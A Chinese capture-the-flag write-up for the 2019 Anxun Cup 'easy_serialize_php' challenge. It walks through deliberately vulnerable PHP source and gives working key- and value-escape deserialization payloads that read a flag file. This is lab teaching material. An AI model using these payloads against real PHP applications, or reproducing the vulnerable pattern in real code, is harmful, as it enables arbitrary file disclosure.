[安洵杯 2019]easy_serialize_php 1

[安洵杯 2019]easy_serialize_php 1

进入环境,我们首先查看 index.php 源码
在这里插入图片描述
代码审计:


$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

mplode() 函数返回一个由数组元素组合成的字符串
preg_replace 函数执行一个正则表达式的搜索和替换。
将敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)替换成 空格

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)
function的value是由$_GET['f']传进来的
当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密和sha1加密

sha1 密码散列函数

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

$_SESSION进行系列化
$function的值进行判断,进而显示不同的页面
当function的值等于show_image的时候 将_SESSION序列化且过滤,将值赋给$serialize_info,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮userinfo

在这里题目给了我们提示

 eval('phpinfo();'); //maybe you can find something in here!

访问:
在这里插入图片描述
得到了flag文件的名字。

解题方法

上文代码中有一个输出的内容,是我们可控的部分,我们可以通过改变img_path的内容或者直接改变userinfo[‘img’]的内容来达到 读取flag的目的

先了解下反序列化逃逸的原理
在构造键值的时候被过滤掉了,但序列化后的字符串记录的长度不会因为过滤而改变,所以就会把序列化后的字符串的结构当做值的内容给读取。
如果我们自己构造出反序列化字符串的结构,并因为过滤破坏掉原来的结构,就可以构造出恶意代码。

直接改userinfo[‘img’]
反序列化字符逃逸的两种方法:键值逃逸,键名逃逸
键值逃逸

payload

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

flag和php是敏感字符,在使用的时候被过滤掉了,但序列化记录的字符串长度没有过滤掉,所以在序列化的时候
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作了原来的value
echo file_get_contents(base64_decode($userinfo['img']));实现了读取flag的,目的
实现了逃逸
在这里插入图片描述
将/d0g3_fllllllag进行base64编码后上传,可获得 flag

在这里插入图片描述

键名逃逸
原理相同,不过这个方法变成了过滤键名
payload:

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸

在这里插入图片描述

参考文章

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值